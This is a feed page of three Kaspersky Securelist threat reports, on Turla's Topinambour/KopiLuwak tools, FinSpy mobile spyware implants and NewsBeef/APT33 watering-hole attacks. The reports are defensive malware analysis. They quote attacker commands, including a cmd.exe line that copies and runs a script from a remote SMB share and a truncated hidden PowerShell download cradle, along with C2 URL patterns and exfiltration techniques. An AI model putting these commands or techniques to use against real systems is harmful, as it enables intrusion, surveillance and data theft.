Kaspersky Securelist

Syndikovat obsah Securelist
Aktualizace: 4 min 43 sek zpět

Turla renews its arsenal with Topinambour

15 Červenec, 2019 - 12:00

Turla, also known as Venomous Bear, Waterbug, and Uroboros, is a Russian speaking threat actor known since 2014, but with roots that go back to 2004 and earlier. It is a complex cyberattack platform focused predominantly on diplomatic and government-related targets, particularly in the Middle East, Central and Far East Asia, Europe, North and South America and former Soviet bloc nations.

2019 has seen the Turla actor actively renew its arsenal. Its developers are still using a familiar coding style, but they’re creating new tools. Here we’ll tell you about several of them, namely “Topinambour” (aka Sunchoke – the Jerusalem artichoke) and its related modules. We didn’t choose to name it after a vegetable; the .NET malware developers named it Topinambour themselves.

The new modules were used in an active campaign that started at the beginning of 2019. As usual, the actor targeted governmental entities. The role of the .NET module is to deliver the known KopiLuwak JavaScript Trojan. Moreover, this actor now also has a heavily obfuscated PowerShell Trojan that is similar to KopiLuwak. Among the control servers there are several legitimate but compromised WordPress websites with the actor’s .php scripts on them.

This time, the developers left some Easter eggs for the targets and researchers. The .NET modules include amusing strings such as “TrumpTower” as an initial vector for RC4 encryption. “RocketMan!” (probably a reference to Donald Trump’s nickname for Kim Jong Un) and “MiamiBeach” serve as the first beacon messages from the victim to the control server.

How Topinambour spreads

To deliver all this to targets, the operators use legitimate software installers infected with the Topinambour dropper. These could be tools to circumvent internet censorship, such as “Softether VPN 4.12” and “psiphon3”, or Microsoft Office “activators”.

The dropper contains a tiny .NET shell that will wait for Windows shell commands from the operators. Using this and SMB shares on rented virtual private servers (VPS), the campaign operators spread the next-stage modules using just “net use” and “copy” Windows shell commands. It’s hard to believe, but SMB still works through public networks.

These campaign-related VPSs are located in South Africa. Interestingly, their external IP addresses start with “197.168”. Possibly these first two bytes are there to mimic LAN addresses that start with “192.168”. Lateral movements in the target’s infrastructure show how familiar the campaign operators are with the IPv6 protocol. Along with IPv4 they use the newer version for shell commands and LAN addresses.

What Topinambour wants from the targets

The purpose of all this infrastructure and modules in JavaScript, .NET and PowerShell is to build a “fileless” module chain on the victim’s computer consisting of an initial small runner and several Windows system registry values containing the encrypted remote administration tool. The tool does all that a typical Trojan needs to accomplish: upload, download and execute files, fingerprint target systems. The PowerShell version of the Trojan also has the ability to get screenshots.

Trojan Command set JavaScript exit upld inst wait dwld .NET #down #upload #timeout #stop #sync PowerShell #upload #down #screen #timeout #stop #sync

Even the command system in the different Trojans is quite similar

Interesting technical features

A plausible hypothesis for developing similar malware in different languages could be to avoid detection: if one version is detected on the victim’s computer, the operators can try an analogue in a different language. In the table below, we compare Trojans in terms of encryption keys in use and initial messages to control servers.

Trojan RC4 encryption key Initial beacon to C2 JavaScript KopiLuwak 01a8cbd328df18fd49965d68e2879433 “bYVAoFGJKj7rfs1M” plus hash based upon Windows installation date .NET TrumpTower RocketMan! PowerShell TimesNewRoman MiamiBeach

For some reason, the developers prefer to entertain targets and researchers instead of randomizing strings

Our analysis of the dropper is based on the sample below:

SHA256 8bcf125b442f86d24789b37ce64d125b54668bc4608f49828392b5b66e364284
MD5 110195ff4d7298ba9a186335c55b2d1f
Compiled 2018.09.10 12:08:14 (GMT)
Size 1 159 680
Original name topinambour.exe

The dropper sample on which our analysis is based implements the following features:

Dropper function Features unpack_p Drops payload to %LOCALAPPDATA%/VirtualStore/certcheck.exe. The “p” in the function name and corresponding resource in the dropper stands for “payload” make_some_noise Gains persistence for payload with a scheduled task that starts every 30 minutes unpack_o Drops the original application that the dropper tries to mimic (such as psiphon3) to %TEMP%/activator.exe and runs it. Here “o” in the function name and corresponding resource in the dropper stands for “original”

The Topinambour authors decided to name the remote shell persistence function “make_some_noise()”

Dropped tiny .NET remote shell

The tiny dropped application gets Windows shell commands from the C2 and silently executes them.

The Topinambour tiny .NET shell first tries to get commands from an external IP, which looks like a LAN, and then continues with possibly infected LAN IPs

The first DWORD (four bytes) received after a TCP request to the C2 is the data size for the following communication. Then the data contained in the next packets will be the Windows shell command to silently execute the application using “cmd.exe /c”. And that’s it – straightforward, simple and useful.

KopiLuwak dropper

This is where the notorious KopiLuwak comes into play. The .NET remote shell silently downloads scripts from the C2 – from the opened SMB share on a remote CELL-C VPS in South Africa to be precise. “Net use” and “copy” Windows shell commands are enough to fulfil the task.

cmd.exe /c net use \\\c$ <user_pass_here> /user:administrator & copy /y \\\c$\users\public\documents\i.js $documents\j.js & $documents\j.js

As a result, the victim is infected with a KopiLuwak obfuscated JavaScript.

Deobfuscated KopiLuwak dropper that puts the RC4 decryption key into the scheduler task for next-stager persistence

Its functions are described in the table below:

Script function Features Create scheduler task Creates a task with the name ProactiveScan, description “NTFS Volume Health Scan”, which runs C:\Users\<user_name_here>\AppData\Roaming\Microsoft\Chkdsk.js with the parameters “-scan Kdw6gG7cpOSZsBeH”, where the parameter is the RC4 decryption key Fingerprint host Saves a set of commands such as systeminfo, net view, tasklist /v, gpresult /z, dir \x22%programfiles%\x5cKaspersky Lab\x22, tracert www.google.com to
%appdata%\Microsoft\x5ct235.dat Drop next JavaScript Drops C:\Users\<user_name_here>\AppData\Roaming\Microsoft\Chkdsk.js

The dropped “Chkdsk.js” decrypts one more script using the RC4 key provided in the dropper’s scheduled task and runs the decrypted code. This final stager is a more complex Trojan, able to parse and execute custom commands from the C2.

The operators get the victim’s data in XML format: every message has a 16-byte signature at the beginning and a victim-specific fingerprint that the developer calls “ridid”.

Constant Bytes Value and features magic 16 Every encrypted message from the infected host starts with this. In the samples described, the magic bytes are ‘bYVAoFGJKj7rfs1M’. ridid 32 Hash value, based on Windows installation date and the aforementioned 16-byte magic value RC4 iv 32 RC4 initial vector to encrypt communication between the target and the C2. In the samples described, the IV value is “01a8cbd328df18fd49965d68e2879433”

Decrypted and deobfuscated target hashing algorithm, based on Windows installation date and 16-byte hardcoded string

The malware communicates with a legitimate compromised WordPress-based website and gets four byte length commands from URL like “http://<legitimate domain>/wp-includes/Requests/Socks.php”. First, the malware beacons to its C2 and gets the command to execute as an answer.

Command Features exit Send “t235.dat” fingerprinting file content with “upl” text in the XML message, delete the file and stop script execution upld Send “t235.dat” content with “upl” text in XML message. If no such file exists, or it’s empty, it sends “opt file no exists or size limit” text in the XML message inst Command format is:

  • – three bytes after command – overall server response length
  • – three following bytes – they are “jss”
  • – Tail – JavaScript to execute

Send ‘good install’ and “t235.dat” content in the XML messages. Save executed JavaScript file as %APPDATA%\Microsoft\ghke94d.jss wait Do nothing dwld Command format is the same as for the “inst” command, but the script from the server will not be executed at once. It saves the decrypted JavaScript as %APPDATA%\Microsoft\awgh43.js and sends ‘success get_parse_command’ in the XML message KopiLuwak JavaScript

The downloaded script takes a binary from the Windows registry and runs it. The registry subkeys and values vary from target to target.

The slightly obfuscated script used to run the payload from registry

It is not completely clear how the registry keys were created; however, the attackers usually use the .NET initial infector for that. In some samples, there is an additional function to get the victim´s MAC address.

This is the end of first “JavaScript” infection chain. Now, let’s also briefly describe the second .NET-based chain.

.NET RocketMan Trojan

We call this Trojan RocketMan after the string the developer uses for beaconing. Another string inside this malware is “TrumpTower”, used as an RC4 encryption initial vector.

This malware reads the C2 IP and port from the registry where it was saved by the previous stager. It processes the following commands from its C2 that are received encrypted over HTTP:

Command Features #down Make HTTP POST request to http://<config_ip>:<config_port>/file to download the file with the provided name to the victim’s computer #upload Make HTTP GET request to http://<config_ip>:<config_port>/update, decrypt server response and upload the file to the server with the provided path and name #timeout Get the pause length from the server command argument and wait #stop Make HTTP GET request to http://<config_ip>:<config_port>/exit, stop the Trojan operation #sync Send encrypted “RocketMan!” string to the server PowerShell MiamiBeach Trojan

Last but not least, the developers behind the Topinambour campaign also used a PowerShell Trojan. This Trojan contains around 450 strings and uses “TimesNewRoman” as the RC4 initial vector to encrypt C2 communications.

This module beacons to its hardcoded C2 with the string “MiamiBeach” using an HTTP POST. The Trojan is quite similar to the .NET RocketMan Trojan and can handle the same commands; additionally, it includes the “#screen” command to take a screenshot.


The reason behind the development of KopiLuwak’s PowerShell and .NET analogues may be simply to minimize detection of the well-known, publicly discussed JavaScript versions. Using the Windows system registry to store encrypted data that is later used by the malware also seems to be aimed at minimizing detection and reducing the digital footprint on any victim’s computer, where only a tiny starter would be left.

It’s a bit surprising, amusing and not entirely clear why the developers have used some seemingly US-related strings such as “RocketMan!”, “TrumpTower” or “make_some_noise”. They are hardly likely to serve as false flags. The usage of KopiLuwak, a well-known and exclusive artefact previously used by the Turla group, makes us attribute this campaign to this actor with high confidence.

Indicators of compromise C2 HTTP GET templates
  • http://<config_ip>:<config_port>/file
  • http://<config_ip>:<config_port>/update
  • http://<config_ip>:<config_port>/exit
Some campaign-related MD5 hashes
  • 47870ff98164155f088062c95c448783
  • 2c1e73da56f4da619c4c53b521404874
  • 6acf316fed472300fa50db54fa6f3cbc
  • 9573f452004b16eabd20fa65a6c2c1c4
  • 3772a34d1b731697e2879bef54967332
  • d967d96ea5d0962e08844d140c2874e0
  • a80bbd753c07512b31ab04bd5e3324c2
  • 37dc2eb8ee56aeba4dbd4cf46f87ae9a
  • 710f729ab26f058f2dbf08664edb3986
Domains and IPs VPSs used as control servers

New FinSpy iOS and Android implants revealed ITW

10 Červenec, 2019 - 12:00

FinSpy is spyware made by the German company Gamma Group. Through its UK-based subsidiary Gamma International Gamma Group sells FinSpy to government and law enforcement organizations all over the world. FinSpy is used to collect a variety of private user information on various platforms. Its implants for desktop devices were first described in 2011 by Wikileaks and mobile implants were discovered in 2012. Since then Kaspersky has continuously monitored the development of this malware and the emergence of new versions in the wild. According to our telemetry, several dozen unique mobile devices have been infected over the past year, with recent activity recorded in Myanmar in June 2019. Late in 2018, experts at Kaspersky looked at the functionally latest versions of FinSpy implants for iOS and Android, built in mid-2018. Mobile implants for iOS and Android have almost the same functionality. They are capable of collecting personal information such as contacts, SMS/MMS messages, emails, calendars, GPS location, photos, files in memory, phone call recordings and data from the most popular messengers.

Malware features iOS

FinSpy for iOS is able to monitor almost all device activities, including record VoIP calls via external apps such as Skype or WhatsApp. The targeted applications include secure messengers such as Threema, Signal and Telegram. However, functionality is achieved by leveraging Cydia Substrate’s hooking functionality, so this implant can only be installed on jailbroken devices (iPhone or iPad; iPod has not been confirmed) compatible with iOS 11 and below (newer versions are not confirmed as at the time of the research and implants for iOS 12 has not been observed yet). After the deployment process, the implant provides the attacker with almost unlimited monitoring of the device’s activities.

The analyzed implant contained binary files for two different CPU architectures: ARMv7 and ARM64. Taking into account that iOS 11 is the first iOS version that does not support ARMv7 any more, we presumed that the 64-bit version was made to support iOS 11+ targets.

It looks like FinSpy for iOS does not provide infection exploits for its customers, because it seems to be fine-tuned to clean traces of publicly available jailbreaking tools. Therefore, an attacker using the main infection vector will need physical access in order to jailbreak it. For jailbroken devices, there are at least three possible infection vectors:

  • SMS message
  • Email
  • WAP Push

Any of those can be sent from the FinSpy Agent operator’s terminal.

The installation process involves several steps. First, a shell script checks the OS version and executes the corresponding Mach-O binary: “install64” (64-bit version) is used for iOS 11+, otherwise “install7” (32-bit version) is used. When started, the installer binary performs environmental checks, including a Cydia Subtrate availability check; and if it isn’t available, the installer downloads the required packages from the Cydia repository and installs them using the “dpkg” tool. After that the installer does some path preparations and package unpacking, randomly selects names for the framework and the app from a hardcoded list, deploys components on the target system and sets the necessary permissions. After the deployment process is done, the daemon is started and all temporary installation files are deleted.

The persistence of the implant is achieved by adding “plist” with starting instructions to the /Library/LaunchDaemons path.

All sensitive parameters of the configuration (such as C2 server address, C2 telephone numbers and so on) are stored in the file “84C.dat” or in “PkgConf”, located in a bundle path of the main module. They can be rewritten using operator commands. This filename was used in previous FinSpy versions for different platforms, including Android.

The following list describes all the modules of the analyzed FinSpy version:

Name Format Functionality netwd app Framework, launcher of the core module – FilePrep FilePrep app Core module MediaEnhancer dylib Audio recordings .vpext dylib VoIP calls hooking .hdutils dylib Hiding utilities keys dylib Keylogger SBUtils dylib SpringBoardHooker utilities .chext dylib Messenger tracking hdjm unknown Not observed in detected versions, possibly some type of module for hiding traces of a jailbreak

All the internal strings in the modules, including the installer, are encrypted with a simple xor-based algorithm using the following strings as keys: “NSString”, “NSArray”, “NSDictionary”, “ExtAudioFileRef”.

The core implant module (“FilePrep”) contains 7,828 functions. It controls all the others modules, takes care of HTTP and SMS heartbeats and other service functions. Communication between components is implemented in two ways. The first uses the system’s CPDistributedMessagingCenter, the second is a local HTTP server that receives data requests.

The module “.hdutils” is designed to cover up the tracks of the implant activities on the device. First of all, it configures the processing of all incoming SMS messages. It parses the text looking for specific content and will hide notifications for such messages. Then it sends them to the core module via CPDistributedMessagingCenter (a wrapper over the existing messaging facilities in the operating system, which provides server-client communication between different processes using simple messages and dictionaries). Another hiding feature is to hook the “CLCopyAppsUsingLocation” function in order to remove the core implant module from the displayed list of applications used in Settings geolocation services.

The module “.chext” targets messenger applications and hooks their functions to exfiltrate almost all accessible data: message content, photos, geolocation, contacts, group names and so on. The following messenger applications are targeted:

  • Facebook Messenger (com.facebook.Messenger);
  • Wechat (com.tencent.xin);
  • Skype (com.skype.skype/com.skype.SkypeForiPad);
  • Threema (ch.threema.iapp / ch.threema.iapp.ThreemaShareExtension);
  • InMessage (com.futurebits.instamessage.free);
  • BlackBerry Messenger (com.blackberry.bbm1);
  • Signal (org.whispersystems.signal).

The collected data is submitted to the local server deployed by the main module.

The “keys” module focuses on a different kind of keylogging activity, with multiple hooks that intercept every typed symbol. There are several hooks to intercept the typed unlock password as well as during the change password process. The intercepted password is submitted to the “keys.html” page on the local server, similar to the “.chext” module.

The module “MediaEnhancer” is designed to hook system functions in the “mediaserverd” daemon related to call processing, in order to record calls. The module starts a local HTTP server instance on port 8889 upon initialization, implementing VoIPHTTPConnection as a custom connection class. This class contains a handler for requests to localhost/voip.html that could be made by other components.

The module “.vpext” implements more than 50 hooks used for VoIP calls processed by external messaging apps including:

  • WhatsApp;
  • LINE;
  • Skype (that includes independent Skype for iPad version);
  • Viber;
  • WeChat;
  • KakaoTalk;
  • BlackBerry Messenger;
  • Signal.

These hooks modify functions that process VoIP calls in order to record them. To achieve this, they send a post request with the call’s meta information to the HTTP server previously deployed by the MediaEnhancer component that starts recording.


The Android implant has similar functionality to the iOS version, but it is also capable of gaining root privileges on an unrooted device by abusing the DirtyCow exploit, which is contained in the malware. FinSpy Android samples have been known for a few years now. Based on the certificate data of the last version found, the sample was deployed in June 2018.

The Android implant’s functionality is unlikely to change much, based on the fact that most of the configuration parameters are the same in the old and new versions. The variety of available settings makes it possible to tailor the behavior of the implant for every victim. For example, operators can choose the preferred communication channels or automatically disable data transfers while the victim is in roaming mode. All the configuration data for an infected Android device (including the location of the control server) is embedded in the implant and used afterwards, but some of the parameters can be changed remotely by the operator. The configuration data is stored in compressed format, split into a set of files in the assets directory of the implant apk. After extracting all pieces of data and building the configuration file, it’s possible to get all the configuration values. Each value in the configuration file is stored after the little-endian value of its size, and the setting type is stored as a hash.

For example, the following interesting settings found in the configuration file of the developer build of the implant can be marked: mobile target ID, proxy ip-address, proxy port, phone number for remote SMS control, unique identifier of the installed implant.

As in the case of the iOS implant, the Android version can be installed manually if the attacker has physical access to the device, and by remote infection vectors: SMS messages, emails and WAP Push. After successful installation, the implant tries to gain root privileges by checking for the presence of known rooting modules SuperSU and Magisk and running them. If no utilities are present, the implant decrypts and executes the DirtyCow exploit, which is located inside the malware; and if it successfully manages to get root access, the implant registers a custom SELinux policy to get full access to the device and maintain root access. If it used SuperSU, the implant modifies SuperSU preferences in order to silence it, disables its expiry and configures it to autorun during boot. It also deletes all possible logs including SuperSU logs.

The implant provides access to information such as contacts, SMS/MMS messages, calendars, GPS location, pictures, files in memory and phone call recordings. All the exfiltrated data is transferred to the attacker via SMS messages or via the internet (the C2 server location is stored in the configuration file). Personal data, including contacts, messages, audios and videos, can be exfiltrated from most popular messengers. Each of the targeted messengers has its own unified handling module, which makes it easy to add new handlers if needed.

The full hardcoded list of supported messengers is shown below:

Package name Application name com.bbm BBM (BlackBerry Messenger) com.facebook.orca Facebook Messenger com.futurebits.instamesssage.free InstaMessage jp.naver.line.android Line Messenger org.thoughtcrime.securesms Signal com.skype.raider Skype org.telegram.messenger Telegram ch.threema.app Threema com.viber.voip Viber com.whatsapp WhatsApp

At first, the implant checks that the targeted messenger is installed on the device (using a hardcoded package name) and that root access is granted. After that, the messenger database is prepared for data exfiltration. If necessary, it can be decrypted with the private key stored in its private directory, and any required information can be simply queried:

All media files and information about the user are exfiltrated as well.


FinSpy implants are controlled by the FinSpy Agent (operator terminal). By default, all implants are connected to FinSpy anonymizing proxies (also referred to as FinSpy Relays) provided by Gamma Group. This is done to hide the real location of the FinSpy Master. As soon as the infected target system appears online, it sends a heartbeat to the FinSpy Proxy. The FinSpy Proxy forwards connections between targets and a master server. The FinSpy Master server manages all targets and agents and stores the data. Based on decrypted configuration files, our experts were able to find the different relays used by the victims and their geographical location. Most of the relays we found are concentrated in Europe, with some in South East Asia and the USA.


FinSpy mobile implants are advanced malicious spy tools with diverse functionality. Various configuration capabilities provided by Gamma Group in their product enable the FinSpy terminal (FinSpy Agent) operators to tailor the behavior of each implant for a particular victim and effectively conduct surveillance, exfiltrating sensitive data such as GPS location, contacts, calls and other data from various instant messengers and the device itself.

The Android implant has functionality to gain root privileges on an unrooted device by abusing known vulnerabilities. As for the iOS version, it seems that Gamma´s solution doesn’t provide infection exploits for its customers, as their product seems to be fine-tuned to clean traces of publicly available jailbreaking tools. That might imply physical access to the victim in cases where devices are not already jailbroken. At the same time, multiple features that we haven’t observed before in malware designed for this platform are implemented.

Since the leak in 2014, Gamma Group has recreated significant parts of its implants, extended supported functionality (for example, the list of supported instant messengers has been significantly expanded) and at the same time improved encryption and obfuscation (making it harder to analyze and detect implants), which made it possible to retain its position in the market.

Overall, during the research, up-to-date versions of these implants used in the wild were detected in almost 20 countries. However, assuming the size of Gamma’s customer base, it’s likely that the real number of victims is much higher.

FinSpy developers are constatly working on the updates for their malware. At the time of publication, Kaspersky researchers have found another version of the threat and are currently investigating this case.

A full set of IOCs, including YARA rules, is available to customers of the Kaspersky Intelligence Reporting service. For more information, contact intelreports@kaspersky.com

‘Twas the night before

4 Červenec, 2019 - 17:48

Recently, the United States Cyber Command (USCYBERCOM Malware Alert @CNMF_VirusAlert) highlighted several VirusTotal uploads of theirs – and the executable objects relating to 2016 – 2017 NewsBeef/APT33 activity are interesting for a variety of reasons. Before continuing, it’s important to restate yet again that we defend customers, and research malware and intrusions, regardless of their source. Accordingly, subscribers to our private APT intelligence reports receive unique and extraordinary data on the significant activity and campaigns of over 100 APTs from all over the world, including this 2016-2017 NewsBeef /APT33 activity.

USCYBERCOM’s VirusTotal executable object uploads appeared in our January 2017 private report “NewsBeef Delivers Christmas Presence”, an examination of a change in the tactics used in spear-phishing and watering hole attacks against Saudi Arabian targets. Two files uploaded by USCYBERCOM are of particular interest. These were first seen Dec 2016 and Jan 2017:

MD5: d87663ce6a9fc0e8bc8180937b3566b9, served as
Detected as BSS:Exploit.Win32.Generic, Trojan-Downloader.Win32.Powdr.a, Trojan-Downloader.MSIL.Steamilik.zzo

MD5: 9b1a06590b091d300781d8fbee180e75, served as
Detected as BSS:Exploit.Win32.Generic, Trojan-Downloader.PowerShell.Agent.ah, DangerousObject.Multi.Generic

In order to share insight into Cyber Command’s highlighted malware and its context, some of our private report’s content will be re-written here. The January 2017 report followed up on other private reports published on the group’s BeEF-related activity in 2015 and 2016. All of them cover a thread of mid-2015 activity continuing into 2016, then resetting and advancing in 2016 and into 2017. Bear in mind that regardless of current leaks, which do not always present exhaustive information on group participants, activity from the region has had multiple overlaps and presents a confusion of internal dynamics…

NewsBeef Delivers Christmas Presence

Examination of a change in tactics used in spearphishing and watering hole attacks against Saudi Arabian targets

Executive summary

The NewsBeef APT previously engaged in long-term, elaborate social engineering schemes that take advantage of popular social network platforms. Previous analysis of the NewsBeef APT indicates that the group focuses on Saudi Arabian (SA) and Western targets, and lacks advanced offensive technology development capabilities.

In previous campaigns, NewsBeef relied heavily on its namesake technology, the Browser Exploitation Framework (BeEF). However, in the summer of 2016, the group deployed a new toolset that includes macro-enabled Office documents, PowerSploit, and the Pupy backdoor. The most recent NewsBeef campaign uses this toolset in conjunction with spearphishing emails, links sent over social media/standalone private messaging applications, and watering hole attacks that leverage compromised high-profile websites (some belonging to the SA government). The group changed multiple characteristics year over year – tactics, the malicious JavaScript injection strategically placed on compromised websites, and command and control C2 infrastructure. 

In a nutshell:

  • The NewsBeef actor deployed a new toolset in a campaign that focused primarily on Saudi Arabian targets;
  • BeEF does not appear to be deployed as a part of the current campaign;
  • Compromised government and infrastructure-related websites are injected with JavaScript that geolocates and redirects visitors to spoofed, attacker-controlled web-servers;
  • Improvements in JavaScript injection and obfuscation may extend server persistence;
  • NewsBeef continues to deploy malicious macro-enabled Office documents, poisoned legitimate Flash and Chrome installers, PowerSploit, and Pupy tools
Technical Analysis

The NewsBeef campaign is divided into two main attack vectors, spearphishing and strategic web compromise (watering hole) attacks. The group’s spearphishing component uses malicious, macroenabled, Microsoft Office documents that deliver PowerShell scripts. The scripts download poisoned installers (e.g. Flash, Citrix Client, and Chrome) from an online presence (in at least one case, the group spoofed a legitimate, well-known IT services organization). Once the installer is downloaded to a victim machine, it runs PowerSploit scripts that in turn download and execute a full-featured Pupy backdoor.

On December 25, 2016, the NewsBeef APT stood up a server to host a new set of Microsoft Office documents (maintaining malicious macros and PowerShell scripts) to support its spear-phishing operations. The group sent these documents (or links to them) to targets via email, and over social network and standalone messaging clients.

To compromise websites and servers, the group identified vulnerable sites and injected obfuscated JavaScript that redirected visitors to NewsBeef-controlled hosts (which tracked victims and served malicious content). These compromised servers include Saudi Arabian government servers and other high-value organizational identities relevant to their targets.

Targets, social engineering, delivery chain

The majority of NewsBeef targets that our researchers have observed are located in SA. Targeting profiles include:

  • Government financial and administrative organizations
  • Government health organizations
  • Engineering and technical organizations
  • One British labor related government organization (targeted multiple times)

The bulk of the targets were affected through strategic web compromises, especially via compromised government servers. However, Kaspersky Security Network (KSN) records also contain links that victims clicked from the Outlook web client “outlook.live.com” as well as attachments arriving through the Outlook desktop application. This behavior falls in line with previous NewsBeef operations, where the group used other standalone messaging clients to send malicious links. Interestingly, NewsBeef set up its server using the hosting provider “Choopa, LLC, US”, the same hosting provider that the group used in attacks over the summer of 2016.

The domain “ntg-sa[.]com” appears to be an attempt by the NewsBeef actor to spoof the legitimate Saudi IT services organization, “National Technology Group” (NTG) at, “ntg.com[.]sa”. The malicious documents served at the spoofed website are shown below:

NTG is a legitimate company that provides IT services and support to SA government organizations and communications firms (as well as international financial groups and retailers), making it a high-value identity. Spoofing the identity of an IT service provider is a particularly important asset to threat actors that can abuse the inherent trust of IT organizations to push software (which may appear suspicious if served from another source). NTG’s IT focus and client list likely aided NewsBeef’s delivery of malicious PowerShell-enabled Office documents and poisoned installers.

In December 2016, the following active URLs were served from the spoofed NTG identity. All of the poisoned installers are technologies that an IT support service may be expected to deliver.


In this scenario, the poisoned Flashplayer, Citrix, or Chrome installer drops the file “install.bat”. The batch file runs the PowerShell command:

powershell.exe -w hidden -noni -nop -c “iex(New-Object

The command downloads “eiloShaegae1”, another PowerShell downloader script. This second PowerShell downloader script downloads and runs the payload; a PowerSploit ReflectivePEInjection script, “hxxp://139.59.46[.]154:3485/IMo8oosieVai”.

The script maintains and then decodes a base64 string. This base64 string, is the Pupy backdoor DLL, which is loaded and run in-memory, never touching the disk. This Pupy backdoor immediately communicates with 139.59.46[.1]54 over obfs3, posting collected system data and retrieving commands.

This selection of “The Threebfuscator” for command and control (C2) communications is interesting, because it is an obfuscating protocol used to mask Tor communications. It is possible that the use of obfs3 indicates the attackers’ understanding of its effectiveness against outbound connection monitoring.

Another notable spoofed domain used during this campaign is the “maps-modon[.]club” domain. The domain “maps.modon.gov[.]sa” was compromised in December 2016, and the “maps-modon[.]club” domain created on December 8, 2016. The domain shared the same IP address (45.76.32[.]252) as “ntg-sa[.]com”. Although we did not observe any malicious documents retrieved from that domain, it is likely that the domain served the same documents as ntg-sa[.]com. The filenames of the malicious Office documents (hosted at the spoofed NTG site) are relevant to typical IT and contracting resources and indicate that this scheme relies on effective social engineering tactics related to human resources and IT activities.

In other schemes, the attackers sent macro-enabled Office attachments from spoofed law firm identities (or other relevant service providers) to targets in SA. The law firm in this scheme is based in the United Kingdom and is the sole location for targets outside of SA for this campaign. Below is a screenshot of a fake legal proposal in Word doc format, containing malicious macros and PowerShell code.

The malicious document follows the same chain as the poisoned Flash player or Chrome Installer:

Compromised servers and injected JavaScript

Starting in October 2016, NewsBeef compromised a set of legitimate servers (shown below), and injected JavaScript to redirect visitors to hxxp://analytics-google[.]org:69/Check.aspx:

The entire list of compromised servers is exclusively Saudi Arabian, and includes organizations from the following industries:

  • Energy services for industrial processes
  • Telecom engineering and implementation services
  • Shipping and logistics
  • Metal engineering and manufacturing
  • Information technology services
  • Cement and building materials

These recent attacks against legitimate servers (when compared to previous NewsBeef activity) indicate that NewsBeef operators have improved their technical skills, specifically their ability to covertly inject JavaScript code into served web pages. Their injection and obfuscation techniques enable the actor to serve the same JavaScript with every page visit to the “watering hole” site as well as increase the difficulty of identifying the malicious JavaScript source on compromised sites.

For example, on a Saudi government website, the NewsBeef APT delivered packed JavaScript into the bottom of a referenced script that is included in every page served from the site (the packed and unpacked JavaScript is shown below). The JavaScript forces visiting web browsers to collect and send (via a POST request) web browser, browser version, country of origin, and IP address data to the attacker controlled server “jquerycodedownload[.]live/check.aspx”.

It is likely that this collection of visitor information represents an attempt to limit the number of infections to a specific target subset and reduce the attacker’s operational footprint. Although we did not identify injected JavaScript related to the “analytics-google[.]org/check.aspx” redirections, it is likely that it performed similar data collection and exfiltration (via POST). This technique appears to be an improvement over the simple .JPG beaconing which researchers observed in previous NewsBeef watering hole attacks. Packed JavaScript:

The most trafficked of the compromised sites (which redirect to “jquerycode-download[.]live”) appears to be the government site at “scsb.gov[.]sa/portal/”. A high volume of redirections from the compromised site continues into mid-January 2017.

Below is a list of compromised websites and the associated URL that serves the injected, second layer JavaScript. Note that the JavaScript resource changes on every compromised website among many other referenced JavaScript sources, making it difficult to track down the source of the malicious script per site:



Multiple other relevant sites were compromised and redirecting as well.

The Pupy backdoor

Pupy is an open source, multi-platform (Windows, Linux, OSX, Android), multi-function backdoor. The backdoor is mainly written in Python and uses code from other open source attack tools like PowerSploit, Mimikatz, laZagne, etc. Pupy can generate backconnect or bindport payloads in multiple formats: PE executables (x86/x64) for Windows, ELF binary/.so for Linux, reflective DLLs (x86/x64), pure Python files, PowerShell, apk, and Rubber Ducky script (Windows).

The malicious DLL deployed by NewsBeef contains Python code, a Python interpreter, and the MSVC runtime library as well as code that loads the Python interpreter, runs Python code and exports some functions for Python. A configuration string contains base64-encoded Python code (packed with zlib) with transport configuration and information about C2 server addresses.

When initiated, the Python code attempts to retrieve and use SOCKS/HTTP proxy settings from the victim’s computer. The Python code then tries to initiate a reverse connection to the C2 server (139.59.46[.]154:3543) using a TCP protocol with RSA+AES traffic encryption and obfs3 transport using default keys from Pupy sources.

After a successful connection, NewsBeef Pupy sends information about the infected computer and waits for commands (which take the form of modules) from the C2 server. The C2 server can send modules with Python code and compiled Python C extensions. The main functionality of the backdoor is implemented in packages (Python code, compiled Python C extensions, compiled executable files) and modules (Python code). Modules can directly access Python objects on the remote client using the RPyC module. The Python modules win32com, win32api, and ctypes are used to interact with the Win32 API. Attackers can use standard modules or write their own. All modules are executed in the memory (a Pupy process can migrate between processes using the corresponding module).


Previous reports on the NewsBeef APT noted the group’s reliance on open-source tools to launch simple, yet effective attacks. Historically, the group has used BeEF to track targets and deliver malicious payloads. However, as this recent campaign indicates, the NewsBeef APT appears to have shifted its intrusion toolset away from BeEF and towards macro-enabled malicious Office documents, PowerSploit, and Pupy. Despite this shift in toolset, the group still relies on old infrastructure as evidenced by their reuse of servers hosted by the service providers Choopa and Atlantic.net.

The improvements in tactics, techniques and procedures appears to have paid off. The most recent campaign indicates that the group was able to compromise a larger number of sites including valuable, high-profile SA government identities. However, despite these improvements in technology, the NewsBeef APT continues to rely on social engineering schemes and open-source tools – attributes that increase the chances of identification.

NewsBeef attacks against Saudi Arabian organizations and individuals (as well as targets in the European Union) are likely to continue. Additionally, researchers expect that as the group evolves, its tasking will expand to other organizations doing business with, or connected to Saudi Arabian organizations and individuals.

Due to the group’s specific target set, it is crucial that SA security teams, administrators, and developers (especially web application administrators/developers) update their WordPress, Joomla, and Drupal-based web applications and plugins – as these assets are actively scanned and exploited by this APT.

Appendix Related Object MD5 (executable code, malicious office documents, javascript, powershell, etc)
  • f4d18316e367a80e1005f38445421b1f
  • 638b74a712a7e45efc9bec126b0f2d87
  • 45b0e5a457222455384713905f886bd4
  • 19cea065aa033f5bcfa94a583ae59c08
  • ecfc0275c7a73a9c7775130ebca45b74
  • 1b5e33e5a244d2d67d7a09c4ccf16e56
  • fa72c068361c05da65bf2117db76aaa8
  • 43fad2d62bc23ffdc6d301571135222c
  • ce25f1597836c28cf415394fb350ae93
  • 03ea9457bf71d51d8109e737158be888
  • edfc37461fa66716b53333fd7f841a8e
  • 623e05dd58d86da76fdfcf9b57032168
  • 6946836f2feb98d6e8021af6259a02dd
  • f4d18316e367a80e1005f38445421b1f
  • d87663ce6a9fc0e8bc8180937b3566b9
  • f9adf73bf1cdd7cd278e5137d966ddd4
  • b8373f909fa228c2b6e7d69f065f30fb
  • 9b1a06590b091d300781d8fbee180e75
  • bcafe408567557289003c79f745f7713
  • 45b0e5a457222455384713905f886bd4
  • 83be35956e5d409306a81e88a1dc89fd
  • c2165155fcba5b737ee70354b5244be3
  • 444c93e736194a01bf3b319e3963d746
  • 0ed61b6f1008000c6dfcd3d842b21971
  • 3fb33a2747b39a9b1c5c1e41fade595e
